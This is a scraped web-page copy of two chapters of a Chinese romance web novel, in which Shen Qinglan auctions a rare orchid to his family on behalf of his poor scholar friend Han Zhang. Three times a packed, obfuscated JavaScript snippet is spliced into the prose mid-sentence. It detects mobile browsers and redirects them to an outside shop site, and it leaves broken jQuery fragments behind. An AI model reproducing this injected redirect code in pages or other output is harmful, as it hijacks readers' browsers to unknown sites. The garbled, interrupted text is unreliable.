“韩兄也是,遇上困境也不知找我,还把不把我当贤弟了?如今事情了结才告知,下回见面,我定要好生说道他一番!”
“海内存知己,天涯若比邻……我就知道,韩兄当我是知己。”
“人生得意须尽欢,莫使金樽空对月……这诗写得真好……韩兄还要与我斗酒三百杯?可我不善喝酒怎么办……”
信读到末尾,先前那点埋怨早已烟消云散,只剩下满腔甜蜜。
沈清澜笑得见牙不见眼。
韩兄亲口说,他也想他了!
巧东巧西几人望着自家主子那副满面春风的模样,不由得暗暗叹气——看公子这架势,怕是十头牛也拉不回头了。
既然无法阻止,他们也只能尽量帮公子筹谋。
巧东想了想询问。
“公子,您先别顾着傻乐了,快来看看韩郎君送您的这株‘千手观音’。这可是兰花中数一数二的珍品,品相稍好的少说也要几百上千两银子,韩郎君怎会有如此名贵的花?”
千手观音,又名金沙树菊,是莲瓣兰中的树形奇花,位列兰中极品,素来深受文人雅士追捧。若遇识货的买主,卖出千两高价并非难事。
可韩郎君不过一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16711896|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
介清贫秀才,又非山中采花人,从何得来这般稀世之花?
这可真是问到沈清澜的心坎上了。
他当即笑容灿烂炫耀:“这你们就不知道了吧?这是韩兄亲手培育的!他先前不是在花铺学过莳花之道吗?近来心有所悟,便试着自己栽培,谁想竟真种成了!”
“韩兄真是天资过人,短短数月就能有这等本事,难怪我当初一眼便觉他非池中之物,我果真是好眼光!”
巧东巧西几人闻言很是吃惊:“当真?”
韩郎君竟有如此莳花天赋,短短几月所学,便能胜过数十年经验的莳花人?他们莫不是在听天书。
见他们怀疑。
沈清澜不高兴哼道:“你们那是什么眼神?韩兄是诚实君子,与我更是至交,岂会骗我?”
“何况韩兄家中清寒,急需银钱,还托我为他引荐爱花之人,要靠莳花谋生呢……若没真本事,他怎会开这个口?”
他韩兄那般优秀,巧东巧西这几个没眼光的家伙,真是有眼不识金镶玉。
巧东巧西几人干笑。
是谁说他们家公子傻来着,分明心明眼亮得很,瞧这一眼就看穿他们心中的小蛐蛐!
巧南连忙赔笑道:“公子,我们并非有意质疑韩郎君,实在是他这莳花的本事太出奇,我们从未见过这般天赋,一时有些难以置信。”
巧北也上前哄道:“若韩郎君真有这等神乎其技,那可是天大的好事!将来他上门提亲时,若能带上几盆珍稀名花作聘,既别致又不失体面,公子脸上也有光,不会叫人看轻笑话了……”
“便是他人笑话我也不在意!韩兄才学不凡,将来定能金榜题名,入阁拜相,让我做诰命夫郎扬眉吐气。”
沈清澜心里其实也没底,但不妨碍他嘴硬。
大不了等成亲后,他努力督促夫君上进就是,反正他就是看上韩兄了!
巧东巧西还有巧南巧北对视一眼,这才笑着提议。
“公子既这般打算,不如早些帮韩郎君寻几位识花的知音牵线搭桥,等他赚了银钱,也能安心读书,早日高中不是?”
是骡是马拉出来溜溜就知道了,希望那韩郎君真的没有欺骗他们家公子。
“此言有理……那去,把院子收拾妥帖,让厨房备上糕饼茶点,再请我爹娘和大哥二哥过来,就说我新得了一盆‘千手观音’,请他们共同赏鉴。”
沈清澜点头,然后狡黠吩咐。
他爹和大哥都是好风雅的文人,若得这样一株名兰,在同僚聚会时拿出来显摆,不知要增多少面子。
肥水不流外人田,这花卖给别人,还不如卖(坑)他爹和大哥。
若操作得宜,今日便能拿到银钱,替韩兄解决窘境!
沈父:……
你可真是老夫的好大儿。
不过,极品兰花确实难得,听到消息的沈父和沈大哥还是很感兴趣过来了。
23.第 23 章
“什么?澜哥儿得了盆极品兰花,还要请大家一同赏鉴?可真是太阳打西边出来了。”
“这孩子何时竟有了这般雅兴,真是稀奇。快,替我更衣,咱们过去瞧瞧……”
沈夫人听闻赏花的邀约很是高兴。
她家澜哥儿自小活泼好动,不似文臣家的公子喜爱吟诗作赋,反倒像将门之后偏爱舞刀弄枪、一条马鞭甩得虎虎生威。
虽性子爽利讨人喜欢,但终究不符合时下对姑娘哥儿温柔贤惠的审美标准,让她没少忧心,害怕孩子将来吃亏。
如今人竟对赏花有了兴致,瞧着性子终于有所改善,沈夫人当真喜出望外!
一群人闻讯赶到澜蔚苑。
只是来的人不止有沈夫人、沈老爷、以及沈怀仁和沈怀智这两个嫡出同胞兄长。
还有抢了他婚事的同胞弟弟沈清泉。
【沈母共5个孩子:嫡长子沈怀仁,嫡次子沈怀智,嫡长女沈清月,二哥儿沈清澜,五哥儿沈清泉。】
沈清澜向来不是忍气吞声的性子,他与沈清泉之间横亘着一桩“婚事之仇”,此刻见到对方自然不高兴,脸色立马就垮了下来。
“你怎么来了?我的赏花宴可没请你!”
沈清澜丝毫不给面子冷哼。
说实话,对于第三个伤害自己的晋阳伯府世子,他其实是没有太多的情谊。
哪怕当初对方在他低谷时挺身而出,不顾他已经被退掉两门亲事的名声,一意孤行以伯府世子之尊向他求娶,他也只是感激,并未生出爱慕之意。
所以,当亲弟弟把人抢走,他伤心的不是男人,而是同胞弟弟的背刺。
沈清泉也知道自己对不起哥哥,面对冷脸也只得承受,眼眶微红再次道歉。
“二哥哥,婚事一事是我对不住你……可我们终究是一母同胞的亲兄弟,你当真要与我生分至此吗?”
“先前你打我骂我,还有父亲母亲罚我,我都认了,日后你凡有所求,我也绝不会拒绝,我已这般道歉补偿……你真就不能原谅我这一回吗?”
他言辞恳切,看上去很是可怜。
但沈清澜却没有半点心软,自婚事变故那日起,他与这弟弟情分便已尽了。
“若道歉有用,还要官府做什么?”
“你受罚,是你咎由自取;你补偿,是你本该承担的后果。当初你做那些事时,何曾念过我们是同胞兄弟?如今又凭什么要我原谅你?”
“我不再报复你,已是看在母亲的情分上,你若真觉得愧疚,就别再出现在我眼前,我不想再看见你。”
沈清澜冷着脸表明立场。
别以为他真傻,不知道这个弟弟的小心思。
对方今日这幅可怜模样过来求和,不过是婚期将近,嫁妆单薄,想通过求得他原谅,好间接让母亲消气,从而心软贴补嫁妆罢了。
如今他也算看清楚了,他这个五弟弟看似真诚柔弱,实则自私冷情得很。
“二哥哥……”
沈清泉闻言,泪水再次簌簌而落,仿佛受了天大的委屈。
他都说了,他不是故意抢走晋阳世子,他会补偿他的……二哥哥为什么就非要如此绝情,连一次改过的机会都不肯给?
如同沈怀智偏心沈清澜这个二弟弟,沈怀仁也偏疼沈清泉这个五弟弟。
他觉得澜哥儿性子凶悍霸道,不及泉哥儿温顺识礼、饱读诗书,更讨他欢心。
沈怀仁端起长兄的架子,偏袒道:“好了,澜哥儿,无论如何,我们总归是一母所出的亲兄弟,血脉相连,荣辱与共,本该相互扶持。”
“泉哥儿已知错,也受了责罚,这些时日更是心中煎熬愧疚,你又何必如此不依不饶,斤斤计较?”
他话音方落。
沈怀智也按捺不住,上前维护自己偏疼的弟弟:
“大哥,你少来这套冠冕堂皇的大道理!我还是那句话,劳什子的荣辱与共——每次‘荣’的是你们,‘辱’的都是我与澜哥儿,说得比唱的好听!”
“婚事一事本就是泉哥儿有错在先,如今挨骂也是他该受的。澜哥儿作为苦主,只是不想原谅见到他而言,又不是要他的命,怎么就成澜哥儿不依不饶了?”
“大哥,你这般作态,说得好听是顾全大局,说得难听便是伪君子。你自己心里,难道没点数吗?”
说罢。
他又转向沈清泉,不耐道:“再说你,泉哥儿,今日赏花澜哥儿设宴,你明知他不愿见你,何必不请自来?”
“来了便罢了,被说两句就摆出这副哭哭啼啼的可怜相,平白惹人心烦,真是自讨没趣!”
“二哥,你……你偏心……”
沈清泉被斥得又委屈又愤懑,二哥就偏心二哥哥。
沈怀仁也被气得语塞:“二弟,你如此粗俗胡言,真是太不像话了……”
“那怎样才算像话?大哥你偏疼泉哥儿,泉哥儿自然与你感情亲近;我偏心澜哥儿,澜哥儿也与我更为投契。咱们各疼各的,两下扯平,有什么问题?”
沈怀智不以为意道,明明白白承认自己就是偏心。
如此无赖行径,搞得对面两人只能涨红脸生气,嘴上无言以对。
“……”
沈清澜看到兄长为自己据理力争的模样,抿嘴笑得双眼弯弯。
——就算父亲和大哥更偏爱五弟弟又如何?母亲和二哥也是偏心他的,他也是有人疼的,一点都不亏!
“好了,都别吵了,今日不是赏花吗?澜哥儿,快把花拿出来吧……”
最后还是沈老爷和沈夫人转移话题。
虽然他们夫妻俩也都有各自偏心的对象,但现在这种情况开口帮腔,非要争个对错,那明显就是火上浇油,要吵个没完没了的。
夫妻俩发话,兄弟四人只能偃旗息鼓。
沈清澜也不想再多说了,他表明立场就好,现在最要紧的是帮韩兄把兰花卖出个好价钱才是!
挥挥手。
巧东巧西小心翼翼把兰花抱出来。
“花形似菊,花色金黄粉白,香气馥郁清冽……当真是传闻中的‘千手观音’,莲瓣兰中的珍品——金沙树菊!品相竟还如此好。”
兰花一出来,沈老爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16718113|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和沈怀仁瞬间就被吸引了注意力,发出惊喜赞叹之声。
赏花乃是雅兴,时下文士即便不喜莳花弄草,面上也少不得附庸一番风雅,否则就是不合群。
如此一株极品兰花拿出去,不知得挣多少面子喝彩。
沈老爷当即喜上眉梢道:“澜哥儿,这花是从何处寻来的?正好爹想觅一株上品花草作个人情,这‘千手观音’你便赠予爹爹可好?”
说罢,想到自己这个哥儿的性子。
他又赶忙补上一句:“放心,银子断不会少你的。”
说着想起前些时日,自己小金库刚被夫人设局搬了个空,沈老爷就不由心中抽痛万分,暗骂一句狡猾凶婆娘。
好在其余铺子田庄等固定产业搬不走,千两银子紧一紧,倒也凑得出来。
沈怀仁一听,也不甘落后,急声道:“爹,这花您可不能独占,儿子也有大用!”
“去去去,你再大的用处,还能紧要过我的升迁之路?”
一涉及官职升迁,沈老爷便不觉得眼前是什么“好大儿”了。
因为他是个权欲很重的人,儿子出息固然欣慰,但终究不如自己手握权柄、步步高升来得实实在在,畅快舒坦。
沈清澜就知道两人会争夺。
他当即露出狡黠笑容:“爹,大哥,方才你们不还说咱们是一家人么?既然是一家人,那我偏袒谁都不好,所以这盆兰花就由你们竞价,价高者得,如何?”
沈老爷:“……”
沈怀仁:“……”
这是明摆着坑他们是吧?
两人有些不情愿,一口郁气堵在胸口,但以澜哥儿的性格,把澜哥儿得罪了的他们,显然没有砍价的余地。
看看沈清澜,又看看桌上品相极佳的兰花。
最后父子俩只能气闷点头:“行,竞价就竞价,底价多少?”
如此上好品相,还是兰花中排名前几的稀罕品种,实在难得。
银子没了可以再赚,可若错过打点关系、铺展前程的机会,那可就真没了。
沈清澜高兴不已,轻快道:
“这般品相的‘千手观音’若在外头,一盆少说也得千两银子。不过父亲与大哥都是自家人,我给你们实惠,就以八百两为底价吧。”
沈夫人也在一旁含笑帮腔:“每次加价,不得低于十两。”
沈老爷:……
这个偏心娘们!
沈怀智也明目张胆,推波助澜道:“澜哥儿,这盆兰花二哥也喜欢得很,二哥也要买,二哥直接出一千两。”
沈怀仁:……
这个混账弟弟!
沈清泉在旁边看得不是滋味。
父亲与大哥虽也疼他,却不似母亲与二哥对二哥哥这般,毫无保留、倾心相护。
可若要他转而亲近母亲与二哥……他也做不到。
母亲再慈,终究只是后宅主母;
二哥再亲,也不过是个不成器的纨绔;
而父亲才是沈家真正的主事之人,大哥更是进士及第、前途光明。
他的选择,没有错。
24.内含入v公告
沈清澜就是沈夫人和沈怀智的心头宝。
她们虽不知儿子、弟弟今日举动是为何,但也瞧出他有意将兰花卖出高价,自然乐得顺水推舟,帮着添柴加火。
沈老爷父子俩反应过来气得要死。
妻儿性子素来强势,惯会撒泼闹腾,若在大事上尚可强硬做主,可这般小事若闹得家宅不宁,就让人看笑话了。
没办法,思虑后也只能认栽,肉疼地加入竞价。
沈老爷:“一千一百两……”
沈怀仁:“一千一百五十两……”
沈怀智:“爹,大哥,你们也太小气了,这般珍稀的兰花,岂是这点银子配得上的?你们不舍得,我可舍得——一千三百两!”
沈老爷:“你这混账,诚心与老夫作对不成?”
沈怀仁:“二弟,你不要再添乱了行不行!”
沈怀智:“……我不,我就加,一千四百两。”
沈老爷:“……”
沈怀仁:“……”
这个混账、混账、混账玩意儿!
重要的事情说三遍。
可惜两人再怎么骂都没用,沈怀智就是个混不吝,旁边还有沈夫人撑腰,最后还是沈老爷技高一筹,以1600两高价把兰花收入囊中。
沈夫人很是诧异看向丈夫:“你私库里的银两不是早被我搬空了吗?怎的这么快又攒下这许多银子?”
沈老爷黑着脸:“……你还敢承认这事儿?”
真是演都不演了是吧。
沈夫人讪讪一笑。
随即又摆出茫然模样:“啊呀,什么事?认什么?老爷说的话,妾身怎么听不明白呢。”
“你……无知妇人,老夫懒得与你多说,你就这般纵着他们罢!”
沈老爷被妻子厚脸皮模样噎住,拿她无可奈何,只得没好气地抱起兰花,转身走人。
“娘,那我们也回院子了。”
沈怀仁眼见兰花无望,只得失望离去。
沈清泉也行了一礼,紧随其后跟上。
待他们走远,院中只剩下母子三人,气氛才温馨起来。
沈夫人赶忙询问心中惦记的疑惑。
“澜哥儿,你方才还没说,千手观音这般珍惜的兰花,你究竟是从哪儿得来的?”
沈怀智也在一旁点头附和:“可别说是街边随手买的,这般说辞,可糊弄不了我和娘。”
正想这么糊弄的沈清澜:……
二哥也是真的,在书院读书不见得多灵光,这会儿倒精明起来了。
被戳到重点的沈清澜强作镇定,虚张声势撒娇:“二哥,在你心里我就是这般胡诌的人吗?”
然后才解释道:“这兰花是王掌柜送来的,说是有个在书斋写话本的穷秀才托他代卖。王掌柜门路不广,这不就求到我这里来?”
“我瞧这兰花花品不俗,转手找个好买主,轻松便能赚上一二百两银子,这买卖多划算啊,这不就设宴坑一下父亲和大哥了……”
他一番话半真半假,并未完全隐瞒韩璋的存在。
因为越是遮掩越惹猜疑,如此虚虚实实,等他娘察觉有异细查起来,才不会暴露他和韩兄关系密切的事情。
见他如此坦然,沈夫人神色缓和,欣慰笑道:
“原来如此,你这运气倒真是不错。一二百两虽不算大数目,却也不少了,我儿果然机灵,颇有为娘搂钱的本事!”
沈清澜骄傲挺胸:“那是,我可是娘亲生的……”
沈怀智笑着敲了下弟弟的脑袋:
“瞧把你嘚瑟的,若不是我和娘在一旁替你敲边鼓,你那兰花想卖出这个价,少不得要多费些周折。二哥这么帮你,你打算怎么报答二哥呢?”
“我给二哥一张点心方子可好?前些日子我得了个新鲜方子,叫做棉花糖,香甜软糯,可好吃了。二哥带回去让厨娘做给二嫂尝尝,定能讨她欢心。”
沈清澜嬉笑道。
沈夫人佯装吃醋:“那母亲呢?”
“娘,当然是我亲手做给您吃呀!”
沈清澜嘴甜如蜜,一句话哄得沈夫人眉开眼笑,合不拢嘴。
待一番嬉笑过后。
沈夫人又将话题引到了他的终身大事上。
“对了,澜哥儿,你打算选秀进宫的话,这规矩可马虎不得。娘打算为你请一位宫里的嬷嬷来教导,往后这几个月,你可不能再贪玩了。宫里的规矩和那些不能明说的事儿,都得一一学仔细了。”
一提这个,沈清澜顿时警醒起来。
进宫当宠妃已经是过去式了,他如今心心念念的,可是要嫁给韩兄!
沈清澜连忙拦住母亲的话头:“等等,娘,进宫这事儿,我觉得我还得再考虑一下……”
“为何?咱们不是早都说好了么?陛下除了年岁稍长,其他哪一样不是顶好的?”
沈夫人不解地望向他。
沈怀智也投来询问的目光。
沈清澜心中发虚,脸上却故作镇定,长叹一声:
“就是年纪这个问题!虽说进宫的确荣华富贵,可只要想到陛下年岁比爹爹还大,指不定看上去比爹还老,我……我就有点害怕了。”
沈夫人听罢,心疼不已:“娘也舍不得你,可娘更不愿你日后受那清贫之苦。常言道,‘宁做高门妾,不为庸人妻’。你自小被娘娇养惯了,哪经得起下嫁、远嫁的委屈?
沈怀智在一旁也愁容满面。
同样既舍不得弟弟被老头子糟蹋,也不愿弟弟嫁个庸碌郎君。
他弟弟花容月貌,活泼可爱,就当配个才貌双全的好郎君才是,都怪那些害他弟弟的人!
沈怀智看着自家貌美如花的弟弟,不由提议道:
“娘,不如这样:咱们一边请嬷嬷教弟弟宫规,一边也在京中物色合适的儿郎,做好两手准备。若能在选秀前寻到一位良配,弟弟也就不用进宫受那份拘束了。”
沈清澜闻言,连忙点头附和:“娘,我觉得二哥这主意甚好!您再替我相看相看吧。”
“也罢,那娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16725037|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就再替你张罗张罗……”
沈夫人疼爱儿子,自然应允,还不忘带着几分宠溺道:“咱澜哥儿虽说名声上差点,可这副模样却是实实在在的标致。”
“这天下男子哪个不爱美人?把你画像往外一传,还怕骗不来几个痴心郎君?”
沈怀智深表赞同:“娘说得在理,弟弟这容貌,确实唬得住人。”
“娘,二哥……”
沈清澜被说得又羞又恼。
他明明冰雪聪明,姿容绝世,连韩兄初见时都为他哥扮男装的模样恍了神。
结果娘和二哥这说的,好似他嫁不出去一样!
沈清澜不服气,他对自己可自信了。
沈夫人和沈怀智见他这般神采飞扬的模样,眼底浮起欣慰笑意。
——接连三次亲事波折,澜哥儿还能如此嬉笑,看来并未伤怀,甚好。
……
成功把兰花卖出高价,还让父亲和大哥吃了憋,沈清澜真是太开心了。
当晚就精神抖擞地熬了大半宿,写好给韩璋的回信,第二日就紧赶着巧东把书信和银票送去书斋,让王掌柜转交给韩璋。
韩璋收到回信后,看见厚厚的一沓银票很是吃了一惊。
竟然有一千六百两白银!
虽说“千手观音”确实珍稀,按市面行情卖出上千两很正常,但花草的价格就跟古董一样,常常有价无市,具体成交价浮动很大。
他以为这盆兰花能卖出千八百两就不错了,没想到结果竟有这么多。
沈清澜这小哥儿,该不会是为了不让他失望,倒贴他了吧?
想到这种可能,韩璋一面觉得对方天真傻气,一面又有些说不出的欢喜。
嘴角都忍不住地扬了起来。
然后等看完回信,他才知道兰花为什么能卖这么多银子了。
【……韩兄,你是不知道,原本照着行情,这盆兰花至多也就卖个千八百两顶天了,但你贤弟我灵机一动,山人自有妙计!】
【……我特意将兰花的消息透给府里的老爷和大少爷,他俩素来好风雅,这不,最后就争起来了,一路抬价鹬蚌相争,咱们渔翁得利一千六百两!】
【韩兄你说,我是不是十分的聪明了?十分的智计无双?十分的谋略过人……韩兄,你快夸我!】
【所以,韩兄……你要怎么感谢你最最最好的贤弟我呀?】
少年活泼肆意和傲娇得意的小模样,仿佛都在纸张上跃然而出了。
让韩璋眼底浮笑,心中生出一股子悸动情愫。
他活到现在,还从来没见过这么有趣的男孩子,性格热烈又纯粹,像阳光一样温暖吸引人,吸引他这种从泥泞和黑暗中爬出来的人。
他是个贪心之人,所以这么温暖的阳光,就应该独照他才是。
韩璋学着小哥儿的语气笑着回复:
【贤弟妙计,愚兄拜服,五体投地。此番大功,自当大谢!不知愚兄邀我最最最好的贤弟,共游几日后的城南庙会,贤弟可来否?】